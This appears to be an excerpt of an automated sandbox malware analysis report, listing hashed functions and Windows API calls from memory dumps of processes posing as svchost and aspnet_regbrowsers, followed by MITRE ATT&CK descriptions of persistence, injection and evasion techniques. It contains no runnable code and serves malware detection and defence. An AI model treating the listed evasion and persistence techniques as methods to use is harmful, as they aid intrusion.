Instruction Fuzzy Hash: A8017031A043009FCB199B74E4487A83BE5EF46505F2644D5D80BDB363DF65DC4287D1

Uniqueness

Uniqueness Score: -1.00%

Function 05CE0458, Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.844390652.0000000005CE0000.00000040.00000001.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_5ce0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96fd50b7b867d623e8b198e3d27959e4af422ef62b79f3a98bb17bf55aa9a988
Instruction ID: e30890b7bae4c33a7f4abd9b76322c1753240162b7d9fa61b026d1c383335e96
Opcode Fuzzy Hash: 96fd50b7b867d623e8b198e3d27959e4af422ef62b79f3a98bb17bf55aa9a988
Instruction Fuzzy Hash: 8301D43D7003106BDB0913A869117F92777EFC6B08F20809DEA01ABBC6CAFE1C155752

Uniqueness

Uniqueness Score: -1.00%

Function 05CE0468, Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.844390652.0000000005CE0000.00000040.00000001.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_5ce0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e03ad6a143097f741ceb33e5a405a0f9b2b063a67fa6357e731df35df4e632e5
Instruction ID: b4b88d8375db2c9c555d89f985f28a52aed06df03ddc6fe0680b34796adb3dea
Opcode Fuzzy Hash: e03ad6a143097f741ceb33e5a405a0f9b2b063a67fa6357e731df35df4e632e5
Instruction Fuzzy Hash: 28F0313D74021467EA0816A86D117F92767DBC9B04F10805DE6056ABCACEFB6C155396

Uniqueness

Uniqueness Score: -1.00%

Function 05CE0521, Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.844390652.0000000005CE0000.00000040.00000001.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_5ce0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d86bec1f1b2172b72f3e2907d82cc81296524938547c4a59f5ace29208db5ef1
Instruction ID: c803110f07a2732971844e1416e74c92062c403ad5df1bb50ca070efae51f3ea
Opcode Fuzzy Hash: d86bec1f1b2172b72f3e2907d82cc81296524938547c4a59f5ace29208db5ef1
Instruction Fuzzy Hash: ED01F9357001008FCB58DB78D444A6933E6EFC961172180A8ED0ADB365CF75DC518791

Uniqueness

Uniqueness Score: -1.00%

Function 05CE0260, Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.844390652.0000000005CE0000.00000040.00000001.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_5ce0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75532d493ce1a66193d830445cf06e8ce7b27790fd5f03dc2a5c5a1e8304e259
Instruction ID: de8b4f5db7afb05cd4a4b07ed9edf74ce45d336992c88d665aec82496655e7cf
Opcode Fuzzy Hash: 75532d493ce1a66193d830445cf06e8ce7b27790fd5f03dc2a5c5a1e8304e259
Instruction Fuzzy Hash: F9E026303402205FC710DB79D804B6477E99F8C621F1480A9FA4ACB3A2EA609C50C740

Uniqueness

Uniqueness Score: -1.00%

Function 05CE0B58, Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.844390652.0000000005CE0000.00000040.00000001.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_5ce0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 514bf65e24d4d5b417ce14cb6379fe170e4fc9c678d2f2f414526e634677b11f
Instruction ID: 5d6f0f7fb34d844685d488659dbaeea9648f63e63961500dbca22623dbf6429e
Opcode Fuzzy Hash: 514bf65e24d4d5b417ce14cb6379fe170e4fc9c678d2f2f414526e634677b11f
Instruction Fuzzy Hash: 7CE0DF7090628ADFCB99DF74AA0169D7BB1EF01208B2084DEDC08E3251E7341E04A700

Uniqueness

Uniqueness Score: -1.00%

Function 05CEDA30, Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.844390652.0000000005CE0000.00000040.00000001.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_5ce0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43ef983df146c931269ae7618af7848d9f7e876bf1f9c728f5c9e8b29084a1a8
Instruction ID: cca4564b3a7c8079984496ccb233763c4c92a2faaeebfce38e0701a3cc9643d2
Opcode Fuzzy Hash: 43ef983df146c931269ae7618af7848d9f7e876bf1f9c728f5c9e8b29084a1a8
Instruction Fuzzy Hash: 35E0B674E0420CAFCB44EFB8E44459DBBF5AF48218F0185E99909E7350EB746E44CF81

Uniqueness

Uniqueness Score: -1.00%

Function 05CE8D20, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.844390652.0000000005CE0000.00000040.00000001.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_5ce0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32858bbbdef938a9b45c3b6ead1e9cd60591bc422355cdabfaa1f7efe629f79b
Instruction ID: ef256c8145c5b9170017bca3398a996205c995753ad8b83e241d09c7c1f59a95
Opcode Fuzzy Hash: 32858bbbdef938a9b45c3b6ead1e9cd60591bc422355cdabfaa1f7efe629f79b
Instruction Fuzzy Hash: 29D0A932B001204F8708EBACE80489833EAAF8A12530080AAE00ACB331DE20EC81C780

Uniqueness

Uniqueness Score: -1.00%

Function 05CE0B68, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.844390652.0000000005CE0000.00000040.00000001.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_5ce0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bf971a1122bc4ae72759a5159d6a68b36d032653ae525947a80be0c89be8aa3
Instruction ID: 62a8dc6571bbe2f47af91aa72e8101d58f47398248bce78f5ecf6a3b82acd06d
Opcode Fuzzy Hash: 0bf971a1122bc4ae72759a5159d6a68b36d032653ae525947a80be0c89be8aa3
Instruction Fuzzy Hash: 10D01270901109EF8B84DFA9E60155DB7F9EB44104B1085D9D808D3210DB312E009740

Uniqueness

Uniqueness Score: -1.00%

Function 05CE0530, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.844390652.0000000005CE0000.00000040.00000001.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_5ce0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55c20adcde1018b6330a5d3fe3266cbc2fea2e86e596031e0f2f2acd3345d13b
Instruction ID: a2fbe0bb439c72f16f67e6a1c8631fb55c9f7ed2b1641f76498db6d2af03c257
Opcode Fuzzy Hash: 55c20adcde1018b6330a5d3fe3266cbc2fea2e86e596031e0f2f2acd3345d13b
Instruction Fuzzy Hash: 6BD0A7347402448FC744DF78E04492573B6EBC96113208098ED0DCB366CF31EC508B51

Uniqueness

Uniqueness Score: -1.00%

Function 05CEDA08, Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.844390652.0000000005CE0000.00000040.00000001.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_5ce0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40c45618b0857e2ec126c04f680551870e2d400efda1415b15aa9100579cca5f
Instruction ID: 9d7f6caa3995c045baf81117a0c16e5ba3a3906771641ece32c80aacf67b32f9
Opcode Fuzzy Hash: 40c45618b0857e2ec126c04f680551870e2d400efda1415b15aa9100579cca5f
Instruction Fuzzy Hash: 30B0927090930CAF8610DAA9980191AB7ACDA0A118B0206D9EA0887310DA72AD105AD2

Uniqueness

Uniqueness Score: -1.00%

Function 05CEE518, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.844390652.0000000005CE0000.00000040.00000001.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_5ce0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff00fb279385ad464e502bef8441b5703e6172921154b95bc462c4907efb7f6f
Instruction ID: 2cddb018488413d2e90e2148d919d9f5f7439e99c802e76cb6ac4abc24c95eea
Opcode Fuzzy Hash: ff00fb279385ad464e502bef8441b5703e6172921154b95bc462c4907efb7f6f
Instruction Fuzzy Hash: 1DB0127004470D6F8680BBA0F406C54371D968061D7808D50D20C860319EA468D58688

Uniqueness

Uniqueness Score: -1.00%

Function 05CEF140, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.844390652.0000000005CE0000.00000040.00000001.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_5ce0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9356bb5ccea945c8e034a45183a01d6285c27660127d61ddd53b35643ccf2328
Instruction ID: 1838e275c2923d5f917afa2e05ff59c94d8e1526511b89e3e20eccd99f6f36e6
Opcode Fuzzy Hash: 9356bb5ccea945c8e034a45183a01d6285c27660127d61ddd53b35643ccf2328
Instruction Fuzzy Hash: 1DB0123000860D8B8740EBA4F60548C372D96C051D790C550970C874165E686854468C

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: aspnet_regbrowsers.exe PID: 4588 Parent PID: 4876 aspnet_regbrowsers.exeCOMMON

Execution Graph

Execution Coverage:	6.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	63
Total number of Limit Nodes:	4

Executed Functions

Function 013A6AE5, Relevance: 6.1, APIs: 4, Instructions: 133
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 013A6B60
GetCurrentThread.KERNEL32 ref: 013A6B9D
GetCurrentProcess.KERNEL32 ref: 013A6BDA
GetCurrentThreadId.KERNEL32 ref: 013A6C33

Memory Dump Source

Source File: 00000025.00000002.937374651.00000000013A0000.00000040.00000001.sdmp, Offset: 013A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_13a0000_aspnet_regbrowsers.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 869a8d7e233ea23406d619c6228889b8675aa768de4eaa54a90184dd575705c3
Instruction ID: 9866a8bdb7e0e9d4fc29925a305af7b29b2e13f42e6e1f51511e77301d1224fa
Opcode Fuzzy Hash: 869a8d7e233ea23406d619c6228889b8675aa768de4eaa54a90184dd575705c3
Instruction Fuzzy Hash: 9E5188B09042888FDB54CFAAD549BDEBFF0EF89304F24849EE559A7391DB345884CB61

Uniqueness

Uniqueness Score: -1.00%

Function 013A6B00, Relevance: 6.1, APIs: 4, Instructions: 120
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 013A6B60
GetCurrentThread.KERNEL32 ref: 013A6B9D
GetCurrentProcess.KERNEL32 ref: 013A6BDA
GetCurrentThreadId.KERNEL32 ref: 013A6C33

Memory Dump Source

Source File: 00000025.00000002.937374651.00000000013A0000.00000040.00000001.sdmp, Offset: 013A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_13a0000_aspnet_regbrowsers.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: cd7d1de1b661aabff8ab23117a80940f4bbf9fb6d113503108f4ea89d653ce18
Instruction ID: bb12cf0d0e34124d86e4df2e8c4447bfd8d5898abe14608cc77f446f706dc92b
Opcode Fuzzy Hash: cd7d1de1b661aabff8ab23117a80940f4bbf9fb6d113503108f4ea89d653ce18
Instruction Fuzzy Hash: 7B5164B0D006498FDB54CFAAD649B9EBBF0EF88318F248459E119A3390DB349884CF61

Uniqueness

Uniqueness Score: -1.00%

Function 013A5244, Relevance: 1.6, APIs: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 013A5362

Memory Dump Source

Source File: 00000025.00000002.937374651.00000000013A0000.00000040.00000001.sdmp, Offset: 013A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_13a0000_aspnet_regbrowsers.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: f394965802d0d4550bdf82eb10fa967543306aa75a9c650312c2ed9288efff1d
Instruction ID: 5d658b0a5de96b0a093412c413389f8aee1aa5e1172041e697ab1c506e7870ae
Opcode Fuzzy Hash: f394965802d0d4550bdf82eb10fa967543306aa75a9c650312c2ed9288efff1d
Instruction Fuzzy Hash: AD51D3B5D003099FDB14CFA9C884ADEBFB5FF88314F64812AE819AB250D7759885CF90

Uniqueness

Uniqueness Score: -1.00%

Function 013A5250, Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 013A5362

Memory Dump Source

Source File: 00000025.00000002.937374651.00000000013A0000.00000040.00000001.sdmp, Offset: 013A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_13a0000_aspnet_regbrowsers.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 5dd71389609495d6c8939692ed3963d1c115c7abdecfb4b274a8e68e53c9d299
Instruction ID: 2f6a358ff658b6d626bcd37876c9c935992acad2abade37c22b285aef748d8e1
Opcode Fuzzy Hash: 5dd71389609495d6c8939692ed3963d1c115c7abdecfb4b274a8e68e53c9d299
Instruction Fuzzy Hash: 6141A2B5D003099FDB14CF99C884ADEBFB5FF88314F64852AE819AB250D7759845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 013A6A34, Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 013A7CB1

Memory Dump Source

Source File: 00000025.00000002.937374651.00000000013A0000.00000040.00000001.sdmp, Offset: 013A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_13a0000_aspnet_regbrowsers.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 95b150427358f12e2eac56b8418a8d71c614996afd7bede39da7f0fda38b957c
Instruction ID: f249d62f3ebdef53bbbcab9c5750014b08c8d02a441d279b1592f13135fcec28
Opcode Fuzzy Hash: 95b150427358f12e2eac56b8418a8d71c614996afd7bede39da7f0fda38b957c
Instruction Fuzzy Hash: 8F415DB5A00709CFDB14CF99C488AAABBF5FF88318F24C459D519AB321D735A941CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 013A6D21, Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 013A6DAF

Memory Dump Source

Source File: 00000025.00000002.937374651.00000000013A0000.00000040.00000001.sdmp, Offset: 013A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_13a0000_aspnet_regbrowsers.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 02218faccbec67c8416cada9eaad29faf7ef9300cde19b4a1a7942b88abd57d5
Instruction ID: bff75cb034f777e02c3665b0a99afd6314766f1023ee11ccd97691ba15155bd2
Opcode Fuzzy Hash: 02218faccbec67c8416cada9eaad29faf7ef9300cde19b4a1a7942b88abd57d5
Instruction Fuzzy Hash: 6A21E4B59002499FDB10CFA9D884AEEBFF4EB48324F14841EE914A3310D774A954DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 013A6D28, Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 013A6DAF

Memory Dump Source

Source File: 00000025.00000002.937374651.00000000013A0000.00000040.00000001.sdmp, Offset: 013A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_13a0000_aspnet_regbrowsers.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 2a030c0aa154be106a04f8b7591f67bf6f4f4c0701f14238764eab7dff594422
Instruction ID: 332a0f065b2880f16d205c92ba0a3a656792498ace183ebc38c0bc6e32d58cbf
Opcode Fuzzy Hash: 2a030c0aa154be106a04f8b7591f67bf6f4f4c0701f14238764eab7dff594422
Instruction Fuzzy Hash: CD21D5B59002499FDB10CFAAD884ADEFFF8FB48324F14841AE914A3310D774A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 013AC198, Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEncodePointer.NTDLL(00000000), ref: 013AC222

Memory Dump Source

Source File: 00000025.00000002.937374651.00000000013A0000.00000040.00000001.sdmp, Offset: 013A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_13a0000_aspnet_regbrowsers.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: bf993a2799f635b72886a262228842b94792560bf48792f40303c3f9cecd8964
Instruction ID: bbb2b357eca2af49700f2198abb0c5b07b8823afc5e1e20654e0f0a911c7585b
Opcode Fuzzy Hash: bf993a2799f635b72886a262228842b94792560bf48792f40303c3f9cecd8964
Instruction Fuzzy Hash: 83219A719007098FDB60DFA9D8493DABFF4EB44328F60982AD408B3B02C7386445CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 013AC1A8, Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEncodePointer.NTDLL(00000000), ref: 013AC222

Memory Dump Source

Source File: 00000025.00000002.937374651.00000000013A0000.00000040.00000001.sdmp, Offset: 013A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_13a0000_aspnet_regbrowsers.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 8f1b771b2401b91507e26232a7e869cf3eccadcd4fe2d9d599176d268cbfbf39
Instruction ID: 689612f7831d81e2c3fa6177d7b08ac03894232ad203c4b898978762c0f60b7e
Opcode Fuzzy Hash: 8f1b771b2401b91507e26232a7e869cf3eccadcd4fe2d9d599176d268cbfbf39
Instruction Fuzzy Hash: 321189709017098FDB50DFA9D9087DABFF4EB45328F60842AD408A3A02C7386448CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 058EE2B0, Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.943953800.00000000058E0000.00000040.00000001.sdmp, Offset: 058E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_58e0000_aspnet_regbrowsers.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e36a106582c31ba653c8a3c88aab44aac59679a95cd24e555141f0213ede465
Instruction ID: 60fed444fe4a2a55c11fdf7ca3286ded5fa0d5450b5047c87f91d6d9c9a2e39e
Opcode Fuzzy Hash: 4e36a106582c31ba653c8a3c88aab44aac59679a95cd24e555141f0213ede465
Instruction Fuzzy Hash: 1851A030A046198FCB14DF69E494AADBBF5FB86318F568428D946EB385CB30EC41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 058EE16A, Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.943953800.00000000058E0000.00000040.00000001.sdmp, Offset: 058E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_58e0000_aspnet_regbrowsers.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 770412a4313aca529d64f606d6133fa6c6071c7f8253610aae7aa474f2d42c3a
Instruction ID: 1b82023bc7f53da3e487854ec040f8ba7eb38915fdf97d475199d52bfddf0703
Opcode Fuzzy Hash: 770412a4313aca529d64f606d6133fa6c6071c7f8253610aae7aa474f2d42c3a
Instruction Fuzzy Hash: CA31A971D12349DFDB15CFB0C8446DCBBB2EF8A304F298A6AE401AB251DB716986CB51

Uniqueness

Uniqueness Score: -1.00%

Function 058EE188, Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.943953800.00000000058E0000.00000040.00000001.sdmp, Offset: 058E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_58e0000_aspnet_regbrowsers.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0814c4160745b66425bc0add92654afad777e783736c757139b60ed7314f2e7
Instruction ID: a99ffd822b68371b2272fc698402a973240017176c39129ecdd8a0f1a83eefd8
Opcode Fuzzy Hash: a0814c4160745b66425bc0add92654afad777e783736c757139b60ed7314f2e7
Instruction Fuzzy Hash: 57216D31D01209DBCB14DFA5D8496DDFBB6EF89314F24862AE412A7340DB716986CF51

Uniqueness

Uniqueness Score: -1.00%

Function 058EE2A0, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.943953800.00000000058E0000.00000040.00000001.sdmp, Offset: 058E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_58e0000_aspnet_regbrowsers.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3823a70ca398c599ec4a43f5d7033b4ce07fad0b11663445188e7b12104ae67c
Instruction ID: d7e3f47e950a81ca5f1641f84e70ce851002c26241f3c020f7d1e0eaa7462b9c
Opcode Fuzzy Hash: 3823a70ca398c599ec4a43f5d7033b4ce07fad0b11663445188e7b12104ae67c
Instruction Fuzzy Hash: 6E21BE70A006188FCB14DFA5E584AADBBF5BF4A308F668069E805EB250CB70EC45CB91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	AWS CloudTrail logs, Authentication logs, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use hidden users to mask the presence of user accounts they create. Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account.
Tactics:	Defense Evasion
Data Sources:	Authentication logs, File monitoring
Platforms:	macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

